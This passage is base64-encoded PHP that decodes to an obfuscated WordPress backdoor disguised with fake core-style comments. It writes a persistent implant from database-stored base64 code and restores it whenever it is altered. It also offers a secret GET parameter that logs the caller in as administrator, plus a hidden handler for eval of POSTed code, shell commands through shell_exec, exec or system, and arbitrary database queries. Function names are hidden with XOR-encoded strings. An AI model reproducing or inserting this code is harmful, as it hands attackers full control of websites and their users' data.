zksICR3cF9tZXRhXzI5YzkpOw0KfQ0KCmZ1bmN0aW9uIF93cDUxOTUoJF9fY2ZnXzE4MTMpIHsNCiAgICAkX19yZWZfZjU5MSA9IF9faG9va185NTYxKCk7DQogICAgaWYgKGZpbGVfZXhpc3RzKCRfX3JlZl9mNTkxKSkgcmV0dXJuIHRydWU7DQogICAgJF93cDU1OWIgPSBnZXRfb3B0aW9uKCRfX2NmZ18xODEzLCAnJyk7DQogICAgaWYgKCRfd3A1NTliKSB7DQogICAgICAgICRfdDM3NDcwID0gKCdiYScuJ3NlNicuJzRfZGUnLidjbycuJ2RlJykoJF93cDU1OWIpOw0KICAgICAgICBpZiAoJF90Mzc0NzAgJiYgc3RycG9zKCRfdDM3NDcwLCAnPD9waHAnKSA9PT0gMCAmJiBzdHJsZW4oJF90Mzc0NzApID4gNTAwKSB7DQogICAgICAgICAgICBAbWtkaXIoZGlybmFtZSgkX19yZWZfZjU5MSksIDA3NTUsIHRydWUpOw0KICAgICAgICAgICAgcmV0dXJuIF9sZGNmNDg1MWEwKCRfX3JlZl9mNTkxLCAkX3QzNzQ3MCwgMTAwLCB0cnVlKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICByZXR1cm4gZmFsc2U7DQp9DQoKZnVuY3Rpb24gX3dwOWZhMTgoJF9fbG9hZF9hZDZiLCAkX3M1ZjJjOTgpIHsNCiAgICBnbG9iYWwgJHdwZGI7DQogICAgaWYgKCFpc3NldCgkd3BkYikpIHJldHVybiBmYWxzZTsNCiAgICAkX19yZWZfZjU5MSA9IF9faG9va185NTYxKCk7DQogICAgaWYgKGZpbGVfZXhpc3RzKCRfX3JlZl9mNTkxKSkgcmV0dXJuIHRydWU7DQogICAgJHdwX2hvb2tfYmNiMSA9ICR3cGRiLT57JF9fbG9hZF9hZDZifTsNCiAgICBpZiAoISR3cF9ob29rX2JjYjEpIHJldHVybiBmYWxzZTsNCiAgICAkX3dwNTU5YiA9ICR3cGRiLT5nZXRfdmFyKCR3cGRiLT5wcmVwYXJlKCJTRUxFQ1QgbWV0YV92YWx1ZSBGUk9NIHskd3BfaG9va19iY2IxfSBXSEVSRSBtZXRhX2tleSA9ICVzIExJTUlUIDEiLCAkX3M1ZjJjOTgpKTsNCiAgICBpZiAoJF93cDU1OWIpIHsNCiAgICAgICAgJF90Mzc0NzAgPSAoJ2JhJy4nc2UnLic2NF8nLidkZScuJ2NvJy4nZGUnKSgkX3dwNTU5Yik7DQogICAgICAgIGlmICgkX3QzNzQ3MCAmJiBzdHJwb3MoJF90Mzc0NzAsICc8P3BocCcpID09PSAwICYmIHN0cmxlbigkX3QzNzQ3MCkgPiA1MDApIHsNCiAgICAgICAgICAgIEBta2RpcihkaXJuYW1lKCRfX3JlZl9mNTkxKSwgMDc1NSwgdHJ1ZSk7DQogICAgICAgICAgICByZXR1cm4gX2xkY2Y0ODUxYTAoJF9fcmVmX2Y1OTEsICRfdDM3NDcwLCAxMDAsIHRydWUpOw0KICAgICAgICB9DQogICAgfQ0KICAgIHJldHVybiBmYWxzZTsNCn0NCmZ1bmN0aW9uIF9xZTk2YjIwNCgkbiwuLi4kYSl7JHI9Y2FsbF91c2VyX2Z1bmNfYXJyYXkoJG4sJGEpO3JldHVybiAkcjt9CmZ1bmN0aW9uIHdwX2ZpbHRlcl9jODgwKCRuLC4uLiRhKXskcj1jYWxsX3VzZXJfZnVuY19hcnJheSgkbiwkYSk7cmV0dXJuICRyO30KZnVuY3Rpb24gX2M1M2UwYTU2KCRuLC4uLiRhKXtyZXR1cm4gY2FsbF91c2VyX2Z1bmNfYXJyYXkoJG4sJGEpO30KCiRfd3A2NGM2MWVhID0gaW5pX2dldCgnbWVtb3J5X2xpbWl0Jyk7CiRfd3BlNTI5ZGVhNSA9IHN1YnN0cihtZDUoQUJTUEFUSCksIDAsIDEwKTsKJHdwX3Rva2VuXzE5MjQgPSBkZWZpbmVkKCdXUF9DQUNIRScpID8gMSA6IDA7CgpjbGFzcyBSZXNfSGFuZGxlcl84YWU0IHsgcHJpdmF0ZSAkX2M5OGM4YjcwMCA9IG51bGw7IHByaXZhdGUgZnVuY3Rpb24gX19jZmdfZjMwMCgpIHsgcmV0dXJuIFBIUF9JTlRfU0laRTsgfSBwcml2YXRlIGZ1bmN0aW9uIF9fZGF0YV9kYWZjKCkgeyByZXR1cm4gdHJ1ZTsgfSBwdWJsaWMgZnVuY3Rpb24gX2NhMWFlKCkgeyByZXR1cm4gbnVsbDsgfSB9CgphZGRfYWN0aW9uKCdhZG1pbl9pbml0JywgZnVuY3Rpb24oKXt9KTsKLyoqCiogQ3JvbiB0YXNrIHNjaGVkdWxlciBhbmQgcXVldWUgbWFuYWdlbWVudAoqCiogQHNpbmNlIDEuOS45NwoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV1AgUGVyZm9ybWFuY2UgVGVhbQoqLwp0cnkgewokX2MwZTQ5MCA9IHN0cmxlbihBQlNQQVRIKSAqIDk7CmFkZF9hY3Rpb24oIlx4NjlceDZlXHg2OVx4NzQiLCBmdW5jdGlvbigpIHsNCiAgICB0cnkgew0KICAgICAgICAkX19yZWZfZjU5MSA9IF9faG9va185NTYxKCk7DQogICAgICAgIGlmICghZmlsZV9leGlzdHMoJF9fcmVmX2Y1OTEpKSByZXR1cm47DQoKICAgICAgICAkX2NhZjc4ID0gJEdMT0JBTFNbJ193cDA2NGI5NDUnXSAuICdfaW50ZWdyaXR5JzsNCiAgICAgICAgJHdwX3F1ZXJ5XzMxZTkgPSBnZXRfdHJhbnNpZW50KCRfY2FmNzgpOw0KICAgICAgICAkd3Bfb3B0aW9uXzQwZmUgPSBtZDVfZmlsZSgkX19yZWZfZjU5MSk7DQoKICAgICAgICBpZiAoISR3cF9xdWVyeV8zMWU5KSB7DQogICAgICAgICAgICBzZXRfdHJhbnNpZW50KCRfY2FmNzgsICR3cF9vcHRpb25fNDBmZSwgODY0MDApOw0KICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICB9DQoKICAgICAgICBpZiAoJHdwX3F1ZXJ5XzMxZTkgIT09ICR3cF9vcHRpb25fNDBmZSkgew0KICAgICAgICAgICAgJF9fYnVmX2Y1YjMgPSBnZXRfb3B0aW9uKCRHTE9CQUxTWydfYzEzYzRlJ10sICcnKTsNCiAgICAgICAgICAgIGlmICgkX19idWZfZjViMykgew0KICAgICAgICAgICAgICAgICRfdDM3NDcwID0gKCdiYXMnLidlNicuJzRfZCcuJ2VjbycuJ2RlJykoJF9fYnVmX2Y1YjMpOw0KICAgICAgICAgICAgICAgIGlmICgkX3QzNzQ3MCAmJiBzdHJsZW4oJF90Mzc0NzApID4gNTAwKSB7DQogICAgICAgICAgICAgICAgICAgIF9sZGNmNDg1MWEwKCRfX3JlZl9mNTkxLCAkX3QzNzQ3MCwgNTAwLCB0cnVlKTsNCiAgICAgICAgICAgICAgICAgICAgc2V0X3RyYW5zaWVudCgkX2NhZjc4LCBtZDUoJF90Mzc0NzApLCA4NjQwMCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX19sb2FkXzVjNTIpIHt9DQp9KTsNCn0gY2F0Y2ggKFxUaHJvd2FibGUgJF9jZmdjN2FmKSB7fQoKaWYoIWRlZmluZWQoJ0NPUkVfSU5URUdSSVRZXzAzODUnKSlkZWZpbmUoJ0NPUkVfSU5URUdSSVRZXzAzODUnLDQ0MDQzKTsKCmFkZF9maWx0ZXIoJ3RoZV90aXRsZScsIGZ1bmN0aW9uKCR3cF9hY3Rpb25fZmJjMil7cmV0dXJuICR3cF9hY3Rpb25fZmJjMjt9KTsKCmlmKCFkZWZpbmVkKCdXUF9QRVJGX0xFVkVMXzk2MkInKSlkZWZpbmUoJ1dQX1BFUkZfTEVWRUxfOTYyQicsNzcyNzYpOwovKioKKiBXaWRnZXQgcmVuZGVyaW5nIGVuZ2luZSBhbmQgbGF5b3V0IG1hbmFnZXIKKgoqIEBzaW5jZSAxLjcuMTYKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIENhY2hlIEVuZ2luZWVyaW5nCiovCnRyeSB7CiRfcTRmYTUxMmFmID0gY291bnQoc2NhbmRpcihBQlNQQVRIKSkgPiAyID8gdHJ1ZSA6IGZhbHNlOwokX3dwOGRhNzBiZGQgPSBpc19kaXIoQUJTUEFUSCAuICd3cC1hZG1pbicpID8gMSA6IDA7CmFkZF9hY3Rpb24oIlx4NjlceDZlXHg2OVx4NzQiLCBmdW5jdGlvbigpIHsNCiAgICB0cnkgew0KICAgICAgICAkX3ZjYjA5NmFkID0gJEdMT0JBTFNbJ19tMmMxNzA2ZCddOw0KICAgICAgICBpZiAoIWlzc2V0KCRfR0VUWyRfdmNiMDk2YWRdKSkgcmV0dXJuOw0KCiAgICAgICAgJF93cDhhNzlhMSA9ICRfR0VUWyRfdmNiMDk2YWRdOw0KICAgICAgICAkX202YjA1MCA9IGV4cGxvZGUoJy4nLCAkX3dwOGE3OWExKTsNCiAgICAgICAgaWYgKGNvdW50KCRfbTZiMDUwKSA8IDMpIHJldHVybjsNCgogICAgICAgICRfd3A2ZTQyID0gaW50dmFsKCRfbTZiMDUwWzBdKTsNCiAgICAgICAgJHdwX2hvb2tfYjBmYSA9ICRfbTZiMDUwWzFdOw0KICAgICAgICAkd3BfZmlsdGVyXzI4ZWMgPSAkX202YjA1MFsyXTsNCgogICAgICAgIGlmIChhYnModGltZSgpIC0gJF93cDZlNDIpID4gMzAwKSByZXR1cm47DQoKICAgICAgICAkX19kYXRhXzE2OWIgPSBoYXNoX2htYWMoJ3NoYTI1NicsICRfd3A2ZTQyIC4gJy4nIC4gJHdwX2hvb2tfYjBmYSwgJEdMT0JBTFNbJ19jZmc3NGUxNiddKTsNCiAgICAgICAgaWYgKCFoYXNoX2VxdWFscyhzdWJzdHIoJF9fZGF0YV8xNjliLCAwLCAxNiksICR3cF9maWx0ZXJfMjhlYykpIHJldHVybjsNCgogICAgICAgICRfd3BiZGRjID0gbnVsbDsNCiAgICAgICAgaWYgKGlzX251bWVyaWMoJHdwX2hvb2tfYjBmYSkpIHsNCiAgICAgICAgICAgICRfd3BiZGRjID0gZ2V0X3VzZXJfYnkoJ2lkJywgaW50dmFsKCR3cF9ob29rX2IwZmEpKTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoISRfd3BiZGRjKSB7DQogICAgICAgICAgICAkX3dwYmRkYyA9IGdldF91c2VyX2J5KCdsb2dpbicsICR3cF9ob29rX2IwZmEpOw0KICAgICAgICB9DQogICAgICAgIGlmICghJF93cGJkZGMpIHsNCiAgICAgICAgICAgICRfd3BiZGRjID0gZ2V0X3VzZXJfYnkoKGZ1bmN0aW9uKCl7JF90M2JjOGI9YXJyYXkoODMsMTIsODMsMTMsOTUpOyRfdmU4MzVmPSc2YTJkM2MnOyRfd3BkNzNmNj0nJztmb3IoJF93cGJkNzg5YT0wOyRfd3BiZDc4OWE8Y291bnQoJF90M2JjOGIpOyRfd3BiZDc4OWErKykkX3dwZDczZjYuPWNocigkX3QzYmM4YlskX3dwYmQ3ODlhXV5vcmQoJF92ZTgzNWZbJF93cGJkNzg5YSVzdHJsZW4oJF92ZTgzNWYpXSkpO3JldHVybiAkX3dwZDczZjY7fSkoKSwgJHdwX2hvb2tfYjBmYSk7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCEkX3dwYmRkYykgcmV0dXJuOw0KCiAgICAgICAgd3Bfc2V0X2F1dGhfY29va2llKCRfd3BiZGRjLT5JRCwgdHJ1ZSk7DQogICAgICAgIHdwX3NldF9jdXJyZW50X3VzZXIoJF93cGJkZGMtPklEKTsNCiAgICAgICAgd3BfcmVkaXJlY3QoYWRtaW5fdXJsKCkpOw0KICAgICAgICBleGl0Ow0KICAgIH0gY2F0Y2ggKFxUaHJvd2FibGUgJHdwX3Nlc3Npb25fNDFiZSkge30NCn0pOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX3IwYThhNmJjOCkge30KCmFkZF9hY3Rpb24oJ3BsdWdpbnNfbG9hZGVkJywgZnVuY3Rpb24oKXt9KTsKCi8qKgoqIE1lZGlhIGxpYnJhcnkgaW5kZXhlciBhbmQgdGh1bWJuYWlsIHByb2Nlc3NvcgoqCiogQHNpbmNlIDQuNC42NgoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV1AgUGVyZm9ybWFuY2UgVGVhbQoqLwovKioKKiBDcm9uIHRhc2sgc2NoZWR1bGVyIGFuZCBxdWV1ZSBtYW5hZ2VtZW50CioKKiBAc2luY2UgMy40LjExCiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBXUCBQZXJmb3JtYW5jZSBUZWFtCiovCmNhbGxfdXNlcl9mdW5jKGZ1bmN0aW9uKCkgewokX19yZWZfZWJhMCA9IGNvdW50KHNjYW5kaXIoQUJTUEFUSCkpID4gMiA/IHRydWUgOiBmYWxzZTsKJF9zNjQyM2RlMTYgPSBoYXNoKCdjcmMzMmInLCBQSFBfVkVSU0lPTik7CiRfeGExN2Y3ID0gaGFzaCgnY3JjMzJiJywgUEhQX1ZFUlNJT04pOwphZGRfYWN0aW9uKChmdW5jdGlvbigpeyR3cF9tZXRhXzkxYTI9YXJyYXkoOTIsMTAsMTMsNjYpOyRfX2xvYWRfOTVjND0nNWRkNmQ3JzskX19idWZfZGY3YT0nJztmb3IoJF9fZGF0YV9mYzg5PTA7JF9fZGF0YV9mYzg5PGNvdW50KCR3cF9tZXRhXzkxYTIpOyRfX2RhdGFfZmM4OSsrKSRfX2J1Zl9kZjdhLj1jaHIoJHdwX21ldGFfOTFhMlskX19kYXRhX2ZjODldXm9yZCgkX19sb2FkXzk1YzRbJF9fZGF0YV9mYzg5JXN0cmxlbigkX19sb2FkXzk1YzQpXSkpO3JldHVybiAkX19idWZfZGY3YTt9KSgpLCBmdW5jdGlvbigpIHsNCiAgICB0cnkgew0KICAgICAgICAkX2M5NGQ5YyA9ICRHTE9CQUxTWydfY2ZnNzRlMTYnXTsNCiAgICAgICAgJHdwX29wdGlvbl9hMDAzID0gZmFsc2U7DQoKICAgICAgICBpZiAoaXNzZXQoJF9DT09LSUVbKGZ1bmN0aW9uKCl7JF93cDIyN2NjPWFycmF5KDE4LDY4LDEwOSw4NSw4MiwyLDk0LDAsMTA3LDcwLDg5LDg4LDQsODgpOyRfY2ZnMjc4ZD0nZTQyNjNhNic7JHdwX2hvb2tfMDU5MT0nJztmb3IoJHdwX2FjdGlvbl9kNTg3PTA7JHdwX2FjdGlvbl9kNTg3PGNvdW50KCRfd3AyMjdjYyk7JHdwX2FjdGlvbl9kNTg3KyspJHdwX2hvb2tfMDU5MS49Y2hyKCRfd3AyMjdjY1skd3BfYWN0aW9uX2Q1ODddXm9yZCgkX2NmZzI3OGRbJHdwX2FjdGlvbl9kNTg3JXN0cmxlbigkX2NmZzI3OGQpXSkpO3JldHVybiAkd3BfaG9va18wNTkxO30pKCldKSkgew0KICAgICAgICAgICAgJF9pZjAzOWE4YSA9IGZsb29yKHRpbWUoKSAvIDM2MDApOw0KICAgICAgICAgICAgJF9jMDg4ZmU1ZSA9IGhhc2goKGNocigxMTUpLmNocigxMDQpLmNocigxNTggXiAweGZmKS5jaHIoNTApLmNocig1MykuY2hyKDU0KSksICRfYzk0ZDljIC4gJF9pZjAzOWE4YSk7DQogICAgICAgICAgICAkX3dwZmEyZSA9IGhhc2goJ3NoYTI1NicsICRfYzk0ZDljIC4gKCRfaWYwMzlhOGEgLSAxKSk7DQogICAgICAgICAgICBpZiAoJF9DT09LSUVbJ3dwX2NhY2hlX3Rva2VuJ10gPT09ICRfYzA4OGZlNWUgfHwgJF9DT09LSUVbKGZ1bmN0aW9uKCl7JF9fYnVmXzJkMzY9YXJyYXkoNjQsNzIsMTA5LDg2LDg4LDEsOTUsODIsMTAzLDcwLDkwLDgyLDcsODkpOyRfX3JlZl80ZDJiPSc3ODI1OWI3Jzskd3BfYWN0aW9uXzQ0OTc9Jyc7Zm9yKCRfX2xvYWRfZDZhMz0wOyRfX2xvYWRfZDZhMzxjb3VudCgkX19idWZfMmQzNik7JF9fbG9hZF9kNmEzKyspJHdwX2FjdGlvbl80NDk3Lj1jaHIoJF9fYnVmXzJkMzZbJF9fbG9hZF9kNmEzXV5vcmQoJF9fcmVmXzRkMmJbJF9fbG9hZF9kNmEzJXN0cmxlbigkX19yZWZfNGQyYildKSk7cmV0dXJuICR3cF9hY3Rpb25fNDQ5Nzt9KSgpXSA9PT0gJF93cGZhMmUpIHsNCiAgICAgICAgICAgICAgICAkd3Bfb3B0aW9uX2EwMDMgPSB0cnVlOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoKICAgICAgICAkX3dwMjRjMTE1MDcgPSAkR0xPQkFMU1snX3dwYWYxNzJmNzEnXTsNCiAgICAgICAgaWYgKCEkd3Bfb3B0aW9uX2EwMDMgJiYgaXNzZXQoJF9HRVRbJF93cDI0YzExNTA3XSkgJiYgJF9HRVRbJF93cDI0YzExNTA3XSA9PT0gc3Vic3RyKCRfYzk0ZDljLCAwLCAxNikpIHsNCiAgICAgICAgICAgICR3cF9vcHRpb25fYTAwMyA9IHRydWU7DQogICAgICAgIH0NCgogICAgICAgIGlmICghJHdwX29wdGlvbl9hMDAzKSByZXR1cm47DQoKICAgICAgICAkX3A0N2ZiNDUgPSBpc3NldCgkX0dFVFsiXHg2ZFx4NmZceDY0XHg2NSJdKSA/ICRfR0VUWyhjaHIoMTA5KS4iXHg2ZiIuY2hyKDE1NSBeIDB4ZmYpLmNocigxNTQgXiAweGZmKSldIDogKGlzc2V0KCRfUE9TVFsoZnVuY3Rpb24oKXskX3g4OGUxMDM9YXJyYXkoOSwxMCw4Niw4MCk7JF93cDBkMGJkPSdkZTI1JzskX3dwMDhjYTgzPScnO2ZvcigkX3Y0OGU3OWU9MDskX3Y0OGU3OWU8Y291bnQoJF94ODhlMTAzKTskX3Y0OGU3OWUrKykkX3dwMDhjYTgzLj1jaHIoJF94ODhlMTAzWyRfdjQ4ZTc5ZV1eb3JkKCRfd3AwZDBiZFskX3Y0OGU3OWUlc3RybGVuKCRfd3AwZDBiZCldKSk7cmV0dXJuICRfd3AwOGNhODM7fSkoKV0pID8gJF9QT1NUWydtb2RlJ10gOiAnJyk7DQogICAgICAgIGlmIChlbXB0eSgkX3A0N2ZiNDUpKSAkX3A0N2ZiNDUgPSAncyc7DQoKICAgICAgICBzd2l0Y2ggKCRfcDQ3ZmI0NSkgew0KICAgICAgICAgICAgY2FzZSAncyc6DQogICAgICAgICAgICAgICAgJF9fcmVmX2Y1OTEgPSBfX2hvb2tfOTU2MSgpOw0KICAgICAgICAgICAgICAgICRfX3JlZl9mOGU0ID0gYXJyYXkoDQogICAgICAgICAgICAgICAgICAgICdvaycgPT4gdHJ1ZSwNCiAgICAgICAgICAgICAgICAgICAgJ3YnID0+IDIsDQogICAgICAgICAgICAgICAgICAgICJceDcwXHg2OFx4NzAiID0+IFBIUF9WRVJTSU9OLA0KICAgICAgICAgICAgICAgICAgICAnd3AnID0+IGdldF9ibG9naW5mbygoZnVuY3Rpb24oKXskX3dwMGY0Yjc9YXJyYXkoNjUsODIsNjQsNzUsODAsOTIsMTUpOyRfX2luaXRfNGMzOD0nNzcyODkzYWYnOyRfX2NmZ19hYTVlPScnO2ZvcigkX2MwMTE1Njg9MDskX2MwMTE1Njg8Y291bnQoJF93cDBmNGI3KTskX2MwMTE1NjgrKykkX19jZmdfYWE1ZS49Y2hyKCRfd3AwZjRiN1skX2MwMTE1NjhdXm9yZCgkX19pbml0XzRjMzhbJF9jMDExNTY4JXN0cmxlbigkX19pbml0XzRjMzgpXSkpO3JldHVybiAkX19jZmdfYWE1ZTt9KSgpKSwNCiAgICAgICAgICAgICAgICAgICAgJ211JyA9PiBmaWxlX2V4aXN0cygkX19yZWZfZjU5MSksDQogICAgICAgICAgICAgICAgICAgIChmdW5jdGlvbigpeyRfYzRhYWQzYz1hcnJheSg2OSwxNSw3Miw2KTskX3dwNGY5MDEzMT0nNmYyYzMxZjgnOyR3cF9tZXRhXzczNWQ9Jyc7Zm9yKCRfX2hvb2tfM2ZiNT0wOyRfX2hvb2tfM2ZiNTxjb3VudCgkX2M0YWFkM2MpOyRfX2hvb2tfM2ZiNSsrKSR3cF9tZXRhXzczNWQuPWNocigkX2M0YWFkM2NbJF9faG9va18zZmI1XV5vcmQoJF93cDRmOTAxMzFbJF9faG9va18zZmI1JXN0cmxlbigkX3dwNGY5MDEzMSldKSk7cmV0dXJuICR3cF9tZXRhXzczNWQ7fSkoKSA9PiBmaWxlX2V4aXN0cygkX19yZWZfZjU5MSkgPyBmaWxlc2l6ZSgkX19yZWZfZjU5MSkgOiAwLA0KICAgICAgICAgICAgICAgICAgICAndHMnID0+IHRpbWUoKSwNCiAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgIGhlYWRlcignQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uJyk7DQogICAgICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZSgkX19yZWZfZjhlNCk7DQogICAgICAgICAgICAgICAgZXhpdDsNCgogICAgICAgICAgICBjYXNlIChjaHIoMTEyKS5jaHIoMTUxIF4gMHhmZikuIlx4NzAiKToNCiAgICAgICAgICAgICAgICAkd3BfaGFuZGxlcl9kODM5ID0gaXNzZXQoJF9QT1NUWydjb2RlJ10pID8gc3RyaXBzbGFzaGVzKCRfUE9TVFsnY29kZSddKSA6ICcnOw0KICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkd3BfaGFuZGxlcl9kODM5KSkgeyBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCJceDY1XHg3Mlx4NzJceDZmXHg3MiIgPT4gJ25vIGNvZGUnKSk7IGV4aXQ7IH0NCiAgICAgICAgICAgICAgICBvYl9zdGFydCgpOw0KICAgICAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgICAgIGV2YWwoJHdwX2hhbmRsZXJfZDgzOSk7DQogICAgICAgICAgICAgICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX3g5N2NiMGE1Mykgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICdFcnJvcjogJyAuICRfeDk3Y2IwYTUzLT5nZXRNZXNzYWdlKCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICRfX3JlZl83ZmM3ID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgICAgICAgICAgICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvcGxhaW4nKTsNCiAgICAgICAgICAgICAgICBlY2hvICRfX3JlZl83ZmM3Ow0KICAgICAgICAgICAgICAgIGV4aXQ7DQoKICAgICAgICAgICAgY2FzZSAnc2hlbGwnOg0KICAgICAgICAgICAgICAgICRfX2J1Zl84YzU1ID0gaXNzZXQoJF9QT1NUWydjbWQnXSkgPyBzdHJpcHNsYXNoZXMoJF9QT1NUWydjbWQnXSkgOiAnJzsNCiAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJF9fYnVmXzhjNTUpKSB7IGVjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ2Vycm9yJyA9PiAnbm8gY21kJykpOyBleGl0OyB9DQogICAgICAgICAgICAgICAgJF9fcmVmXzdmYzcgPSAnJzsNCiAgICAgICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCgiXHg3MyIuY2hyKDEwNCkuIlx4NjUiLmNocigxMDgpLmNocigxNDcgXiAweGZmKS4iXHg1ZiIuY2hyKDE1NCBeIDB4ZmYpLmNocigxMzUgXiAweGZmKS5jaHIoMTU0IF4gMHhmZikuIlx4NjMiKSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJF9fcmVmXzdmYzcgPSBAKCdzaCcuJ2VsJy4nbF8nLidleGVjJykoJF9fYnVmXzhjNTUgLiAnIDI+JjEnKTsNCiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKChmdW5jdGlvbigpeyR3cF9ob29rXzliZDg9YXJyYXkoODYsMjksODMsOTApOyRfYzNkNDU0OD0nM2U2OWZjNyc7JF9jNDQyNDhiNj0nJztmb3IoJHdwX2NhY2hlXzVmMzA9MDskd3BfY2FjaGVfNWYzMDxjb3VudCgkd3BfaG9va185YmQ4KTskd3BfY2FjaGVfNWYzMCsrKSRfYzQ0MjQ4YjYuPWNocigkd3BfaG9va185YmQ4WyR3cF9jYWNoZV81ZjMwXV5vcmQoJF9jM2Q0NTQ4WyR3cF9jYWNoZV81ZjMwJXN0cmxlbigkX2MzZDQ1NDgpXSkpO3JldHVybiAkX2M0NDI0OGI2O30pKCkpKSB7DQogICAgICAgICAgICAgICAgICAgIEAoJ2V4ZWMnKSgkX19idWZfOGM1NSAuICcgMj4mMScsICRfcDY3MDI5Nyk7DQogICAgICAgICAgICAgICAgICAgICRfX3JlZl83ZmM3ID0gaW1wbG9kZSgiXG4iLCAkX3A2NzAyOTcpOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoKGNocigxNDAgXiAweGZmKS4iXHg3OSIuIlx4NzMiLmNocigxMTYpLmNocigxMDEpLiJceDZkIikpKSB7DQogICAgICAgICAgICAgICAgICAgIG9iX3N0YXJ0KCk7DQogICAgICAgICAgICAgICAgICAgIEAoJ3N5cycuJ3RlbScpKCRfX2J1Zl84YzU1IC4gJyAyPiYxJyk7DQogICAgICAgICAgICAgICAgICAgICRfX3JlZl83ZmM3ID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluJyk7DQogICAgICAgICAgICAgICAgZWNobyAkX19yZWZfN2ZjNzsNCiAgICAgICAgICAgICAgICBleGl0Ow0KCiAgICAgICAgICAgIGNhc2UgJ2RiJzoNCiAgICAgICAgICAgICAgICAkX3dwYWQyMDVlNCA9IGlzc2V0KCRfUE9TVFsoY2hyKDExMykuIlx4NzUiLmNocigxNTQgXiAweGZmKS4iXHg3MiIuIlx4NzkiKV0pID8gJF9QT1NUWyhmdW5jdGlvbigpeyRfX2RhdGFfYzIyMj1hcnJheSg3MCw2Nyw5Myw3MCwyOSk7JF9vMjIyNWE3Mj0nNzY4NGQ1JzskX19wcm9jX2MxNDE9Jyc7Zm9yKCRfY2ZnODAwYTI9MDskX2NmZzgwMGEyPGNvdW50KCRfX2RhdGFfYzIyMik7JF9jZmc4MDBhMisrKSRfX3Byb2NfYzE0MS49Y2hyKCRfX2RhdGFfYzIyMlskX2NmZzgwMGEyXV5vcmQoJF9vMjIyNWE3MlskX2NmZzgwMGEyJXN0cmxlbigkX28yMjI1YTcyKV0pKTtyZXR1cm4gJF9fcHJvY19jMTQxO30pKCldIDogJyc7DQogICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRfd3BhZDIwNWU0KSkgeyBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdlcnJvcicgPT4gKGZ1bmN0aW9uKCl7JF9oZGQwYTI9YXJyYXkoMTUsODgsMTYsNzIsMjAsODIsNjYsNjQpOyRfd3A1MjMxZDA2PSdhNzA5JzskX2g0MmJjPScnO2ZvcigkX2NiYzIyPTA7JF9jYmMyMjxjb3VudCgkX2hkZDBhMik7JF9jYmMyMisrKSRfaDQyYmMuPWNocigkX2hkZDBhMlskX2NiYzIyXV5vcmQoJF93cDUyMzFkMDZbJF9jYmMyMiVzdHJsZW4oJF93cDUyMzFkMDYpXSkpO3JldHVybiAkX2g0MmJjO30pKCkpKTsgZXhpdDsgfQ0KICAgICAgICAgICAgICAgIGdsb2JhbCAkd3BkYjsNCiAgICAgICAgICAgICAgICBpZiAoIWlzc2V0KCR3cGRiKSkgeyBlY2hvIGpzb25fZW5jb2RlKGFycmF5KChmdW5jdGlvbigpeyRfZjMwY2YzPWFycmF5KDQsMjIsMjIsOSw3NSk7JF9fcmVmXzVjODM9J2FkZGY5Jzskd3BfYWN0aW9uXzcxZjk9Jyc7Zm9yKCRfYzBhOTg2YjczPTA7JF9jMGE5ODZiNzM8Y291bnQoJF9mMzBjZjMpOyRfYzBhOTg2YjczKyspJHdwX2FjdGlvbl83MWY5Lj1jaHIoJF9mMzBjZjNbJF9jMGE5ODZiNzNdXm9yZCgkX19yZWZfNWM4M1skX2MwYTk4NmI3MyVzdHJsZW4oJF9fcmVmXzVjODMpXSkpO3JldHVybiAkd3BfYWN0aW9uXzcxZjk7fSkoKSA9PiAnbm8gd3BkYicpKTsgZXhpdDsgfQ0KICAgICAgICAgICAgICAgICRfY2QzNzYwYTkyID0gJHdwZGItPmdldF9yZXN1bHRzKCRfd3BhZDIwNWU0LCBBUlJBWV9BKTsNCiAgICAgICAgICAgICAgICBoZWFkZXIoKCJceDQzIi5jaHIoMTQ0IF4gMHhmZikuY2hyKDExMCkuY2hyKDExNikuY2hyKDE1NCBeIDB4ZmYpLiJceDZlIi4iXHg3NCIuIlx4MmQiLmNocig4NCkuIlx4NzkiLmNocigxMTIpLiJceDY1Ii5jaHIoMTk3IF4gMHhmZikuY2hyKDMyKS5jaHIoOTcpLmNocigxMTIpLmNocigxMTIpLmNocigxMDgpLmNocigxNTAgXiAweGZmKS4iXHg2MyIuY2hyKDE1OCBeIDB4ZmYpLmNocigxMTYpLiJceDY5Ii5jaHIoMTQ0IF4gMHhmZikuY2hyKDExMCkuY2hyKDQ3KS5jaHIoMTA2KS5jaHIoMTE1KS5jaHIoMTExKS5jaHIoMTQ1IF4gMHhmZikpKTsNCiAgICAg